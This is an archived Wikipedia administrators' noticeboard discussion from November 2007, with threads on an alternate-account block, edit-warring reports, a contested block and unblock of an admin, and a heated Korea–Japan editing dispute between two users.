My summary above: a user editing in different articles, at different times, and about different specific issues, can be blocked by an admin as long as the editor in question espouses the same principles in both accounts, and the admin disagrees with those principles. I judge this to be the case from JzG's statement above: "extension form advocacy of a controversial opinion to performance of controversial actions in respect of content, that was and is the problem." Relata refero 17:35, 1 November 2007 (UTC)

That made me more confused, not less. El_C 17:40, 1 November 2007 (UTC)

Exactly.

PM's main account contributed to the discussion. PM created his secondary account for the ArbCom case: JzG thinks that was OK. Subsequently the second account did not go away, but was used to edit in contentious areas. JzG thinks that wasn't OK. There is no suggestion that they edited over the same specific issue, or in the same article; but both accounts edited in the same general area, though there is no suggestion that it happened at the same time. If you're confused, its because you're trying to understand. I'm a little confused by how this could happen myself. Relata refero 18:04, 1 November 2007 (UTC)

Reverting the block was way inappropriate. CBD should have respected Guy's admin action, discussed his disagreement in a dialog with Guy and convinced him to undo it himself, or gained consensus on the noticeboard for unblocking. Leaving aside how the unblock was done, the original block was the right thing to do. Whatever privatemusings' motivation, his seeking out controversy to involve himself in does not advance the project. He should have been stayed blocked. Tom Harrison ^Talk 00:04, 2 November 2007 (UTC)

Leaving aside your needlessly insulting (and just plain wrong) comments, Tom, you really should also be open about the fact that you are also a party to the content dispute at Robert Black (professor) - and I would really encourage editors to take a look at the edits you have made, because as far as I can tell you are removing information expressly against consenses, without engaging on the talk page, showing no respect to traditions of our process. That is very poor form. Privatemusings 00:19, 2 November 2007 (UTC)

• Agree with Tom Harrison, he should be blocked, and I will block him if I have community support. Jbeach ^sup 00:51, 2 November 2007 (UTC)

• Disagree with the assessment that he should be blocked. There is not enough even alleged to support that, much less evidenced. I've in the last 24 hours encountered discussion over two blocks that so far as I can tell, come down to "blocked for holding an opinion I disagree with", that of KurtWeber and this one. That is not a sufficient reason for blocking, in either that case or this one. GRBerry 02:28, 2 November 2007 (UTC)

Please don't block me again - I really fail to see how that could possibly help the situation. Privatemusings 02:55, 2 November 2007 (UTC)

After reading through all of this, I'm left with a current impression no different than my inital impression PM was created as a legit SOCK to avoid becomeing a victim in the contentious BADSITES fight, a tailored purpose for the SOCK. That's been established now, most of the policy is ironed out, and so on. PM then runs into regular articlespace and starts enforcing the policy as he interprets it, getting into a possible revert-war with a possible 3RR. I say 'possible', because the wording of the probably policy says that there's no 3RR on that sort of removal, or did last time I reviewed it, a few days back. JzG took this as something which PM's regular account could've done, and should've, or else PM (the person) should've sat on his hands. As a result of the contentious nature of the edits, he blocked the account, saying it had served it's purpose, and was now becoming an excuse for non-meta-policy contentions, which ought to be handled by the regular account. I support this assessment. I totally understand PM's intent in protecting himself, the 'bad sites' have some sick freaks there, who can blame him/her/them/it for wanting to remain safe I don't have any problem with it in theory, although it does make its edits less credible because of a lack of experience perception behind them. However, when she moves outside his declared purpose, they become the bad hand, and it should be blocked because he is not making the edits she declared them had the intent to do. I've shuffled the pronouns to the point that my eyes hurt, hope that helps. I support this block, not the unblock. However, if PM is only used from now on for meta-policy debates where exposure is bad, I can accept that. ANythign else, though, block the account and toss the key. ThuranX 03:36, 2 November 2007 (UTC)

A disagreement. You are wrong in asserting that the no personal attacks policy allows 3RR violations to remove such links. The 3RR exception language was very explicitly killed, and we seem to have consensus on what language to use. This particular link had vanished from discussion at WT:NPA because the talk page there felt it had found a different reason for removal and that it was generally agreed that it was better to use reasons other than NPA when removing links from articles, but that different reason is appropriately discussed at the article's talk page rather than WT:NPA so there may or may not ever have been consensus formed around that. GRBerry 04:12, 2 November 2007 (UTC)

Another disagreement: "However, when she moves outside his declared purpose, they become the bad hand, and it should be blocked because he is not making the edits she declared them had the intent to do." Why? Where in WP:GHBH does it say that you have to stick to your original declared purpose with an alternate account? Why should non-meta-policy contentions - not contravening policy - be handled by the main account? Isn't this precisely one of the uses of legitimate socks? WP:GHBH is set up to ensure admin candidates do not conceal their record and admins do not conceal their involvement in issues where they use the sysop bit. Which of those is happening here? Relata refero 04:48, 2 November 2007 (UTC)

GRBerry, I stated I hadn't read it in a few days, hence the 'Possible'. Releta, PM stated that the edits from that account would specifically be for the contentious policy, not for randomly running around the project, making edits the main account could do. Further, if the editor knew those mainspace edits would be contentious, then hiding behind an alternate account to do so is contravening normal consensus building policy. Again - to protect oneself during a contentious policy debate about personal privacy makes some sense; to exploit the policies to accomplish edits which the regular account could simply find consensus for, or cite the policy to support is a problem. ThuranX 04:22, 3 November 2007 (UTC)

Couple of small points - looking at the edits you'll see that there was absolutely no violation of 3RR anywhere. It's my belief that you really have to squint at the situation to see an edit war also - but then these allegations have been largely retracted, which is good.

The irony of the whole situation, is that I can really see the points in your comments about appropriate use of accounts, and would have welcomed dialog on this - or at least notification that I was behaving in a way some felt to cross a hitherto undefined line (it's certainly not in any guideline yet - perhaps that's the more appropriate venue for discussion of this type). I've tried to respond immediately and politely to every concern raised with me - but what made me so upset and angry was from out of nowhere to be slap-banned forever and my talk page protected. I further believe there to have been serious ethical lapses, but would like at the moment for the whole situation just to calm down. I'm serving tea on my talkpage, if someone can bring the biscuits then we can leave AN/I alone. Privatemusings 03:47, 2 November 2007 (UTC)

You were never banned. One of your alternate accounts was blocked. You said ahead of time that you were using this account because you expected that your edits would generate "anger or hot feeling", other words for disruption. You apprently knew it would be controversial so you explained your motivation ahead of time. So, how was this response unexpected? You knew the use of a sock puppet would be controversial because questions were raised about your previous use of sock accounts. Now you've said that you are going to "edit solely using this account",[12] rendering pointless its use in the first place. I hope that commitment includes sticking to one account in the future. Using sock puppet accounts is not an acceptable and non-disruptive method for engaging in activity likely to result in "anger or hot feeling". If we aren't willing to take the heat that our actions may cause then perhaps we shouldn't take those actions. ·:· Will Beback ·:· 22:15, 2 November 2007 (UTC)

To be indefinitely blocked with no warning was hugely unexpected. My decision to stop editing with my other account is an attempt to calm and resolve the situation. Your proposals for WP:SOCK may well gain interest and approval, but should be implemented there. Privatemusings 22:21, 2 November 2007 (UTC)

You did expect to generate "anger and hot feeling". Intentionally generating anger and hot feelings is disruptive, and some might call it "trolling". WP:SOCK prohibits using a sock account to avoid scrutiny of your editing patterns. It also prohibits good hand/bad hand accounts. Both prohibitions seem to be involved here. May I ask if your user page announcement is in fact a commitment to use only one account in the future? ·:· Will Beback ·:· 23:18, 2 November 2007 (UTC)

Predicting that one's perspective may make people angry with you is not at all synonymous with 'trolling' which of course also requires that to be the sole purpose of your maintaining it. <rant> In fact, for the record, I have found every single instance of the use of that word, not just referring to me, but all over the wiki, to be singularly unhelpful. It's just a rubbish way of making a point. </rant - not directed at Will specifically>. But yes, I have made a firm commitment to only edit using this account. Privatemusings 14:11, 3 November 2007 (UTC)

User:Eleemosynary

Resolved

Eleemosynary is edit warring on two different articles: Scott Thomas Beauchamp controversy & Michael Mukasey. The first article was placed under protection do to the editor's edit warring, and Eleemosynary has now followed me to Michael Mukasey, and article that he has no previous edits on, and is reverting my edits just to mess with me. — Steven Andrew Miller (talk) 06:04, 1 November 2007 (UTC)

His persecution complex notwithstanding, Steven Andrew Miller is misstating the facts. --Eleemosynary 06:43, 1 November 2007 (UTC)

Discuss edits on the articles talk page. Tiptoety 06:47, 1 November 2007 (UTC)

Note that both editors have violated WP:3RR. Tiptoety 06:53, 1 November 2007 (UTC)

I have in the past, but not at present. Please check the recent history again. --Eleemosynary 10:21, 1 November 2007 (UTC)

I have blocked Steven Andrew Miller for 24 hours for a clear three revert rule breach at Michael Mukasey. Eleemosynary has three reverts on this article and should not revert it again. He also has two reverts on Scott Thomas Beauchamp controversy but this page is now protected. If he edits disruptively then he may be blocked, but not at the moment. Sam Blacketer 10:25, 1 November 2007 (UTC)

This is something new? Eleemosynary has a bad habit of edit warring. I'd block even for the three reverts. One is not entitled to 3 reverts per day. The fact that he's edit warring on a wide scale, constitutes disruption.⇒SWATJester ^{Son of the Defender} 11:25, 1 November 2007 (UTC)

And you'd be wrong to issue the block. 1) I have no "habit" of edit warring. 2) You have no say as to what any editor is "entitled" to, and are as bound by Wiki policy as I am. 3) Your claim that I'm "edit warring on a wide scale" is a lie. I realize you're having major issues with Jimmy Wales these days, but try not to take that out on me. --Eleemosynary 00:12, 2 November 2007 (UTC)

It's not my "say". Read the policy. WP:3RR explicitly states that users are not entitled to three reverts per day, and you well know this. ⇒SWATJester ^{Son of the Defender} 01:02, 2 November 2007 (UTC)

I don't make "three reverts a day," nor have I ever claimed I was entitled to. And none of those reversions were "disruptive," to quote the policy. You have a history of misrepresenting my actions both on and off-Wiki, so you'll forgive me for not assuming good faith with you.--Eleemosynary 01:05, 2 November 2007 (UTC)

No, I won't. Assuming good faith is policy. ⇒SWATJester ^{Son of the Defender} 04:26, 2 November 2007 (UTC)

But your abuse of it, as I believe your off-site actions have done, frees me from assuming you're acting in good faith. I'd be happy to get some more admins to weigh in on this. Sound good? --Eleemosynary 05:44, 2 November 2007 (UTC)

I'm sorry, my off site actions? Yes, lets please get some more admins to weigh in on this. ⇒SWATJester ^{Son of the Defender} 05:28, 3 November 2007 (UTC)

There are issues other than the two Miller mentioned. Since section this is listed as "resolved," I've brought up these issues under "More User:Eleemosynary." Calbaer 19:48, 1 November 2007 (UTC)

Why am I not surprised? --Eleemosynary 00:13, 2 November 2007 (UTC)

Block of admin User:Dbachmann

The following discussion is closed. Please do not modify it. Subsequent comments should be made in a new section.

Resolved

I don't think there's anything else to discuss here, really. Neil ☎ 11:30, 1 November 2007 (UTC)

Looks like User:Dbachmann has been blocked by User:Penwhale while he was trying to enforce policy at Race of Ancient Egyptians. He isn't requesting immediate unblock but he is requesting that various actions be taken. Please see his talk page for details. Requests include: *consider resetting my block to expire at 13:43, or unblock me on parole of not touching the disputed article until 20:29 today. *either way, take the case of Race of Ancient Egyptians to WP:AN/I for wider review: dedicated trolling accounts make reasonable editing impossible, admin intervention is necessary. Hit everyone with sticks until morale improves. Would uninvolved admins please pursue this case. Thanks. --Folantin 08:37, 1 November 2007 (UTC)

I've crossed paths with Dbachmann in the past, and unfortunately I get the impression that he seems to be willing to use his admin tools in disputes he's involved in. He did unambiguously break 3RR in a content dispute, and on top of this he used his admin rollback to do so. He also appears to be making sharp and unneccesary personal attacks towards Penwhale, the blocking admin. Unfortunately, this block was probably warranted. --krimpet⟲ 08:53, 1 November 2007 (UTC)

Erm, Dbachmann was trying to ensure articles adhered to Wikipedia policy. Plus - correct me if I'm wrong- but I thought blocks were supposed to be preventive rather than punitive. --Folantin 09:00, 1 November 2007 (UTC)

(edit conflict) DBachmann is one of the strongest defenders of the encyclopaedia against nationalst trolls of all stripes. I think that needs to be said, repeatedly, and remembered. Relata refero 09:02, 1 November 2007 (UTC)

Using admin rollback on trolling edits may not be 100% ideal, but admins do it all the time and I've never seen anybody cite it as a reason to block that admin before. As for the 3RR, it's a fair cop, though should a hardworking admin's very first 3RR error get as much as 24 hours, really? That also is a new sight to me. Anyway, keeping dab blocked for the full 24 hours would be punitive after his own parole suggestion, see his talkpage. Penwhale doesn't seem to be editing. I've called for him on his page and on irc (where he's lurking, but I think not personally present). Unless I hear from Penwhale in 5 minutes, I'm unblocking on the conditions dab himself suggests. Bishonen | talk 09:05, 1 November 2007 (UTC).

Absolutely, endorse unblock. Fut.Perf. ☼ 09:09, 1 November 2007 (UTC)

Unblocked. Bishonen | talk 09:14, 1 November 2007 (UTC).

Yeah, good unblock. The block only serves a punitive purpose now given that Dbachman has offered to stay away from the page. Ryan Postlethwaite 09:17, 1 November 2007 (UTC)

Hmph! This place gets dafter by the moment. Giano 09:24, 1 November 2007 (UTC)

My dear friends, I don't think a mere 5 minutes is a proper discussion. See this proposal by User:Daniel, "You don't unblock a problem user without discussion with the blocking [administrator]...Period". Any administrator who does so may face temporary desysopping at the direction of Jimmy Wales or the Arbitration Committee." Please restore the block until there is a consensus to unblock. This block wasn't a mistake, nor was it placed in bad faith. - Jehochman ^Talk 09:26, 1 November 2007 (UTC)

Post-close clarification: For the record, I have never said I support that proposal, and never also in this circumstance. I have actually no opinion on the block, or unblock. My proposal at that RfAr is an attempt to clarify the ArbCom's stance on Jimbo's edict-like comment. Daniel 00:24, 2 November 2007 (UTC)

I'm afraid you'll have to place a request for my desysopping here to get any action on that from the ArbCom, Jehochman. Jimbo Wales, indeed, may desysop me without a request—we'll have to wait and see—but he doesn't after all intervene in the day-to-day running of the place very often. The ArbCom is your best bet. Bishonen | talk 10:22, 1 November 2007 (UTC).

Oh, noodles! not another case. At least you tried to contact him and waited for one or two comments, and this is hardly a sneaky vandal we're talking about. - Jehochman ^Talk 10:37, 1 November 2007 (UTC)

Is anyone calling Dbachmann a "problem user"? I don't think so. Rather, he's a very productive and helpful admin. While he may have violated 3RR (I haven't checked), he should be given an opportunity to correct his mistake. I don't think this block was made with Wikipedia's best interests in mind, and I support the decision to shorten it. ·:· Will Beback ·:· 09:36, 1 November 2007 (UTC)

(ec.) The preceding version of the proposal Jehochman linked to sums up what is actual long-standing good practice: administrators should not unblock users blocked by other administrators without first attempting to contact the blocking administrator and discuss the matter with them. If the blocking administrator is not available, or if the administrators cannot come to an agreement, then a discussion at the administrators' noticeboard is recommended." Which is precisely what happened here. Fut.Perf. ☼ 09:37, 1 November 2007 (UTC)

I would also support a decision to shorten the block, but I think we should wait, let's say, 60 minutes to get a consensus, not 5 minutes and just two additional opinions. This is a high traffic board. Wait an hour for deeper snow. - Jehochman ^Talk 09:41, 1 November 2007 (UTC)

(ec) It was a short 24-hour block for 3RR (and that might be disputed) of a good editor and productive admin, not a block of a problem user. There is a world of difference between that and an indefinite block and proposed community ban of a problematic COI editor (Sadi Carnot). The former can be resolved with a short discussion, and the latter should have had further discussion before an unblock took place. The point about the 3RR is that it can be removed once the editor has agreed to stay away from the page as Ryan said "The block only serves a punitive purpose now given that Dbachman has offered to stay away from the page." The alternative viewpoint is that, as a strictly defined block (limited to 24 hours), 3RR blocks are best left in place if unblocking may cause drama (but then who can predict that?). The deeper snow comment is relevant, but how deep does snow have to be to overcome time considerations (appearing to unblock hastily)? Carcharoth 09:46, 1 November 2007 (UTC)

I'm not extremely happy with the unblock (which was first posted on my talk page a little under 2 hours ago -- and that was 5:00AM time that bishonen posted on my talk. I never thought that someone might assume that I wasn't hanging around to deal with the unblock issue. Unblocking after only a 12-minute wait period isn't something that I feel should have been done, but I'm not going to wheel war over this. - Penwhale | ^{Blast him / Follow his steps} 10:45, 1 November 2007 (UTC)

←I support the unblock. Dbachmann is not a troll or vandal, he has agreed to avoid the article in question. I don't know if he has or hasn't violated 3RR. Yes he was incivil toward Penwhale but I doubt that it is a trend or ongoing problem. James086^{Talk | Email} 09:44, 1 November 2007 (UTC)

I have seen many established editors here who make solid contributions to the Wiki get blocked for violating the 3RR rule. I have not seen them unblocked after a 5 minute discussion. These sort of actions make users think that there is a two tier system here, with admins getting a free pass for their transgressions. It makes one think that, in spite of all the blather one reads on Rfas, adminship is, indeed, a big deal. Jeffpw 09:49, 1 November 2007 (UTC)

I agree. Short discussion followed by strong actions seems to be a trend around here recently. Please, before anything drastic is done, allow decent conversation. -- Anonymous Dissident^Talk 10:37, 1 November 2007 (UTC)

You cannot reasonably expect an administrator to be online 24/7. I was informed of the actions when I woke up just a few minutes ago (which is 6:30 AM), so I feel slighted by that. - Penwhale | ^{Blast him / Follow his steps} 10:39, 1 November 2007 (UTC)

Another reason that things should not be done in such rapid succession. -- Anonymous Dissident^Talk 10:41, 1 November 2007 (UTC)

• Feh. No suggestion of ill faith on anybody's part, no suggestion that Dbachmann wants to escalate this, Penwhale was offline and there was no pressing reason to retain the block as there is an adequate explanation for the behaviour identified. I suspect that someone was gaming the system here to try to make drama, but I've not really looked into it. Anyway, I propose we archive this thread, file it under "nobody's perfect" and move on, since there's clearly no need to escalate this any further. Guy (Help!) 11:19, 1 November 2007 (UTC)

Dbachmann has been IMHO a troublesome admin in the past. However, he does do good work as well. Race of ancient egyptians is a shithole of an article, as evidenced by the recent edit wars that have brought it onto AN/I at least two, and possibly three times in the last 7 days. As much as I dislike his admin practices and editing behavior, I'd give him the benefit of the doubt on this one. P.S. we should also delete that article, start it anew from a blank stub, and require every single edit be sourced before it is included. ⇒SWATJester ^{Son of the Defender} 11:24, 1 November 2007 (UTC)

The discussion above is closed. Please do not modify it. No further edits should be made to this discussion.

No, forget it, I do not consent to this archive. This is absurd. An admin that barely made it in his RfA due to lack of mainspace experience decides to make-up new mainspace rules, such as blocking for rollback. Someone should have the courage to say something about that, and I'm glad Bishonen did. El_C 17:10, 1 November 2007 (UTC)

I've made my stand and responses, and you're just trying to flare things up again. Do not instigate this further; dab and I have talked and came to an understanding (and this was before you started complaining on here and my talk page). - Penwhale | ^{Blast him / Follow his steps} 23:14, 1 November 2007 (UTC)

Wow. El_C 02:29, 2 November 2007 (UTC)

El C, I don't know what the problem is but from my perspective you seem to be frequently adding only brief and vague responses to legitimate questions or statements. We're not mind readers here. Wikidudeman ^(talk) 23:20, 2 November 2007 (UTC)

Sennen goroshi (talk · contribs · logs)'s vandalism and slurs

The report was accidently removed by a bot, so I post it here again. And he hasn't apologized to me yet and rather blames me doing childish behaviors, I abandon a hope from him. I only need a fair justice.

I file a report regarding Sennen goroshi's abusive behaviors. He was once reported here due to his intentional slanders against User:Smoove K, the owner of Heart Corporation in order to avenge his friends on User:Smoove K. [13], [14], [15],[16] Wiki is clearly not a place for him to work off his grudges, but he repeatedly does that when he conflicts with other parties. I want to report his disruptive behaviors on 3 matters.

• 1st : Reverting my talk page to mock of me. I assume his repeated scorns to be regarded vandalism. [17] [18][19][20]
• 2nd: His disruptive behaviors on Korean related articles
• 3rd: His personal and racial slurs. --Appletrees 11:25, 29 October 2007 (UTC)

Background

About a month ago, Sennen goroshi and I had a series of disputes and I had to put up with and saw so many insults and slurs from him (see the tables below) In the process, he was reported by Melonbarmonster for his 3RR violation and disruptive behaviors on Korean cuisine ariticle. [21] I backed up Melonbarmonster because aside from disputes with me, Sennen goroshi's made many people upset with his disruptive behaviors on Korean-related articles, such as Korean cuisine especially eating dog meat, An Jung-geun, Dokdo, Empress Myeongseong. [22] [23], [24], [25], [26], [27], [28][29], [30],[31],[32] After he got banned for 48 hours as the consequence of his behaviors. [33] But far from reflecting his own faults, he blamed me for the result and made a mock of me again and have grudges against me. [34]. Recently, I had a discord with somebody on Dano (Korean festival), and both accidentally violated 3RR. And then Sennen goroshi reported only me for his revenge regardless of the fact that the matter was already meditated and he was not involved in the article at all. He was disappointed by the report being useless, so he chased me again. As the result, I was reported again by him even though I didn't violate 3RR, but due to the very prior report, I was blocked. But he was not satisfied with the result yet. [35], [36], [37] He still keeps provoking me on other articles but I could almost manage myself until seeing his vandalism on my talk page. This behavior is just another attempt to make me angry and is obviously from his malicious intent. I think he just enjoy making a noise on controversial articles and pushing his own rule to others but that is even not consistent. I admit that this report is way too long but there are much more examples. I hope nobody gets offended by Sennen goroshi's disruptive behaviors anymore. Thanks.

Discussion before posting again

Indeed this is too long, and I doubt anyone will go through the trouble of sifting through the diffs, especially of stale 3RR reports which don't belong here. That said, some of the comments are clear violations of Wikipedia's policies on civility, such as those mocking Appletrees' English and intellect, or the pair of rape comments. Perhaps a harshly worded comment or even a short block would help Sennen goroshi understand the principle of "comment on content, not contributors", though I'm not convinced that Appletees has the best understanding either. Regardless of what happens, I suggest that you (Appletree) just don't allow yourself to take part in such unconstructive communication in the future so as to avoid the problems. TewfikTalk 12:57, 29 October 2007 (UTC) So basically I'm guilty of putting comments on the Heart article, within my first week or 2 of editing wikipedia, making a few comments regarding his lack of English ability, which were countered with comments along the lines of You're the more qualified person on English than me? Who judges that? You with making major mistake? I only mentioned your flaws among the bunch you've made. That are not the minor mistakes. Even 5th grade students in Korea know that grammar. Somehow, I try to understand your struggles and excuses via the fact that Japanese get the lowest score on TOEFL exam in Asia. If you really were an English teacher, I concern about the future of your students. You're certainly not teaching English to native people, so "small mistakes" can possibly be understood. Besides the Ph.D students(candidates are more accurate) of yours doesn't mean that you have the degree. so not only does my English suck, but that is in some way linked to the English of all Japanese people sucking.hmmmm I also has this little gem added to my talk page by Appletrees I can' tolerate your impudence any more. You keep insulting me with your dirty mean tongue. Stupid? I think you can't see any context in my comments. You are the meanest and pathetic person in the world I've encountered in my life. I pity you. If you have graduated from any university in the US (I highly doubt you even graduated any college anywhere, because educated men can't be shallow just like you!), you would be required to take several humanistic and social science classes. Did you ever take any class in which Japanese war crimes would be understood among the international society? haha, even students from Japan said they felt shame of their ancestors because they didn't know and just learned with hugely edited textbooks. But you keep denying your origin and then that's making to look you stupid. You might be a Japanese-somewhere citizen. So what? You've produced offensive destructions on Korean-related articles and overly defended cruel Japanese war crime. In addition, you don't have any plausible arguments, then you choose to attack me with personal abuse that shows your true nature. Your English have been not near eloquence but close silliness and shallowness. So dream on! --Appletrees 09:34, 2 October 2007 (UTC) oh and add to that some weird comments about 'death curse' 'rape' and 'hitler' I will be the first to admit, that I can have a less than friendly attitude when someone is being a pain in the ass, and if these comments were made by someone who didn't have a major chip on their shoulder re. Korea = Good. Japan = Bad. therefore if you don't love Korea, and hate Japan you = Bad. then I might care a little more. However this complaint has been made by someone who just got off a block for edit-warring, due to a report made by me. It is obvious what his motivation is. It is also obvious that any edit I make saying for example that someone Korean who killed someone Japanese is a murderer, is going to be met by his Korean nationalistic pride, and his assumption that I am insulting him personally due to his nationality. In short, 3 points. 1. This report was made by someone who is upset, due to a block that was the result of a report made by me. 2. I was not the sweetest editor in the world, but my attitude was hardly screaming insults, and was more than matched by his attitude. 3. The user who has reported me, seems to take offence to any comment that does not agree with his POV, and will consider my edits to be insults until I say something along the lines of "Japanese people are evil bastards, and Japan belongs to Korea" I feel annoyed that I have had to waste my precious time, typing a response - thank you if you managed to get to the end of this..Sennen goroshi 13:20, 29 October 2007 (UTC) Tewfik. I am forced to agree with you, I have not been the most civil of people, however the comments regarding his English ability, were more than balanced by his comments saying that my English was awful due to his assumption that Japanese people are basically poor at English (due to my name he assumed that I was Japanese and made comments based on that assumption) The comments regarding rape are a non-issue - I made one comment regarding rape, in a talk page, of an article not connected with this user, that was an off-colour joke - an admin saw it, busted my ass, and block me for 48hrs. That is old history, the other comment regarding rape, was not an insult, an accusation or anything negative, I was drawing a parallel in order to get my point across, if appletrees can't work out what I was trying to say, then I'm really sorry, but I don't see why I should be held responsible for a user who gets offended due to his misunderstanding of what I typed.Sennen goroshi 13:27, 29 October 2007 (UTC) Calm down, Sennen goroshi. As I mentioned like "Yesterday was Sunday", I implied enough to be myself a Christian so "REALLY" tried to forget or forgive what you've done to me for 1 month. If you didn't dare to revert my talk page several times yesterday, I would not need to suffer you here any more. The reverts and harsh, scornful, and teasing comments on MY TALK PAGE are worst to abandon any hope that you could be a constructive editor in a near future. You just wanted to insult me for your own sake. I didn't say "suck" or 'stupid' like you did to me. You firstly mentioned a "Racist", You firstly mention "Hitler", You firstly mention "Threat", You firstly mentioned MY ENGLISH and Stupidness, even "NOT TO STOP BREATHING" which is obviously a curse. You have to blame your own action, not me. Why did you stalk me and attack me right after my ban was out? Besides, why don't you forget to add the time infos, which are very critical. Don't cover things up. You started mocking me with your 'special languages'. My English can be your excuse at all. You're the one to draw this invisible editors just like me at the first place in English wiki What about the second frame in which your another victim, User talk:Ledtim was overly insulted by YOU? Please don't frame me with your tactic any more. Enough is Enough. I haven' said or implied that Japanese are bad as you imagine. I don't intimidate with Japanese POV pushers of course including you as I used to say to you. You're acting like a god to judge Koreans and Japanese. I have very good Japanese friends. Your behaviors do not harm my thought of them. You're just you being always like you. You feel annoyed? Why don't you think I CAN be annoyed by your personal attacks and insults? I have discussed two more Japanese editors on my talk page, but they didn't act like you. Even though consensus didn't reach to any further, they were all civil unlike you. Like you alway suggest your opponent to get a life instead of editing, why do you do that first? If so, I will really appreciate you from the first time to forever. But before that you need to deserve what you have done. Take care! --Appletrees 13:59, 29 October 2007 (UTC) I'm of the opinion that the only realistic method of resolving this is to prevent both parties from coming into contact with one another. Perhaps we could look at some sort of agreement between the users, not to edit within one another's vicinity, and each to refrain from entering into contact with the other - after all, both have clearly demonstrated over and over that they cannot work constructively together. However, I'm anxious that each are not restricted in contributing to Wikipedia; after all, we loose enough potential reformers through blocks and bans as it is. Nevertheless, we must consider the fundamental question of whether the benefit from allowing these two to edit without restriction outweighs the benefit from carefully refined contributions from the two, and furthermore whether the greater benefit would lie in their presence or absence here. Anthøny 20:56, 29 October 2007 (UTC) Decreasing the opportunities for friction would certainly solve the problem, but I'm not sure what kind of a practical arrangement could be worked out when they seem to share a common interest. Do the two of you think that you could try to avoid each other, and keep any conversation (or comments to third parties for that matter) extremely limited just to the content at hand, without any discussion of each other, your nationalities, or alleged motivations? TewfikTalk 02:12, 30 October 2007 (UTC) I think there is a lot of friction on the articles relating to Japan and Korea and there always will be, if Appletrees and I are not arguing, it will be someone else. I am more than willing to tone down the less that polite comments of mine, and concentrate on the edits. However while Appletrees might be justified in taking offence to comments relating to him personally, he needs to stop taking offence to edits that he does not agree with. There will always be disagreements relating to the Korea/Japan articles, and the only things we can strive for is absolute NPOV, cited facts, consensus and consistancy. If an edit which I do not agree with, falls within the above four, then I have no issue with it, I will however have an issue with every edit that does not a totally Korean POV being whined about with claims of Japanese POV and racism. I am stubborn, and I do react badly to what I consider to be stupidity - but when someone shows me that something is cited/backed up with consensus/etc, I am more than willing to lose my stubborness and accept their edit. With the following comment, I am trying to stay within the boundaries of civility, so I will choose my words carefully - Appletrees does not have the best English ability in the world, which is OK, he is not a native speaker and his level of English ability is higher than my ability in my second language - but he has misunderstand my comments in the past, at no time did I wish death on anyone, I really don't care enough about wikipedia, to wish anyone dead. Also he seems very emotional, I've never lost sleep or become emotional regarding wikipedia, this might be easier for both of us, if he was to lose a little (or all) of his emotion when editing and responding to edits. I will be stubborn if I don't agree with an edit, I will change something to what I consider to be correct, I will react if someone accuses me of pushing my POV - the other side of the coin is that I will react well to compromise, civility, consensus and facts. I do not wish to see Appletrees restricted from editing, he obviously has something to offer, and so do I, and sometimes you need two opposing opinions to achieve the correct result.Sennen goroshi 02:43, 30 October 2007 (UTC) I only want a justice and fairness under the same rule with which I was blocked by Anthony. Please don't forget that Sennen gorosh was once scarcely saved from getting any punishment except a slight warning when the first complaint was reported. This is the second report that he has violated WP:Civil. I deserved what I did in this community, so should he. Besides, he did such the disruptive behaviors not only to me, but also at least to two more people in the report. Regarding further possible conflicts with him in future, you don't need to worry. With the painful lesson of how people can bear such the horrifying grudges for a long time and wait for a right moment to frame and then revenge as they wish. Therefore, I won't talk him anywhere anytime after this report. As Sennen goroshi had a mockery of the block and brushed up my old pages to only view the block warning after I just got off the hook. His behavior is just like shooting twice to assure whether his enemy really is dead or not. He has humiliated and insulted me more than enough! I strongly suggest that he should be blocked for at least a day to reflect on his conducts in the light of all these evidences. Thanks. --Appletrees 04:45, 30 October 2007 (UTC) You owe me an apology. == Don't think things personally? I don't want to hear that you're consistently making excuses for yourself anymore. At least, your disruptive behaviors on my talk:Reverting it to make the mockery was not excusable at all. You think such vicious actions are reasonable, and fair? No. If you really tried to be a civil person, then make me believe you. I need your apology to me regarding you reverting my talk page and the others. --Appletrees 11:34, 1 November 2007 (UTC) OK, lets continue this discussion on your talk page, rather than dragging in a million and one people, who don't really care about our petty problems. I will be brutally honest, I hope you are not offended by my honesty. I have no intention of apologising for my comments made towards you, I will apologise to admins, if I have broken a rule (the rules are their domain) I will apologise if I am a little unfriendly to someone who has done nothing to me, and I will apologise if I make a mistake. I refuse to be dragged into a childish debate about who started what or which comment was the most offensive, I have too much respect for myself to do that - all I will say is that insults were given by both of us, and while I will offer/suggest some form of civility between us in the future, I will most certainly not be offering an apology to someone who has spent the best part of a week begging for me to be blocked and leaving messages with various users/admins in an attempt to get them on your side, purely to see me blocked. Neither will I offer an apology to someone who has been so indignant about my supposed insults, but has never once said anything about the insults they have given me. Unless you have something valid to say to me, I consider this whole incident to be finished, personally I shall celebrate with some icy-cold Asahi Super Dry and a smoke. See Yah Sennen goroshi 15:34, 1 November 2007 (UTC)

discussion

I have made numerous efforts to resolve this matter on appletrees' talk page, making offers of civility, etc - these offers get no response.

He has demanded that I apologise to him. I don't see the need, and neither do I see any point in me making an apology that will not be sincere. We argued, he complained, I made it clear that I wish for us to both edit in a more civil manner.

I dont wish to waste any more time on this matter Sennen goroshi 16:23, 1 November 2007 (UTC)

Your preach and strong admonition on my talk page cant' be referred as you efforts on civility. You're just excusing your past abusive behaviors on me and my talk page. Even more, you're chiding me how childish I am. That's impressive indeed. I need your apology even if it was not frankly from your heart. Because I know people can't be suddenly changed, I only ask you to show your one effort for the future.--Appletrees 16:38, 1 November 2007 (UTC)

*sigh* This is not the complaints department, try dispute resolution. I've seen the two of you here before, bickering away unconstructively, and it needs to stop. east.718 at 17:40, 11/1/2007

Appletrees, I think that you have misunderstood what about blockpolicy. Blocking is NOT to punish users. If your contribution is read, it desires to punish an user or to only make it apologize. [38], [39], [40] Please re-read WP:BLOCK and re-consider your own behavior.--Watermint 05:42, 2 November 2007 (UTC)

Watermint, I didn't misunderstand anything. I file a report based on Sennen goroshi's abusive behaviors on several people. After his recent scornful comments on my talk page again, I couldn't help to repost it here. That is my right because I'm one of his victims from his insults. Besides, you are not an administrator and some party might knows well about who you are. According to your contribution history, I can only see your controversial edits and JPOV on "Korean-Japanese related article", so your comments just sounds unreasonable and biased. I expect fair and unbiased comments from administrators or third parties to not engage in Korean-Japanese articles. Before saying something to others, please re-consider what you're doing. Take care.--Appletrees 12:40, 2 November 2007 (UTC)

Furthermore, it seems that the conduct to him of you are also sufficiently offensive and discriminatory. [41], [42], [43], [44], [45]..etc,etc..... I wonder why you can blame him unilaterally.--Watermint 18:27, 2 November 2007 (UTC)

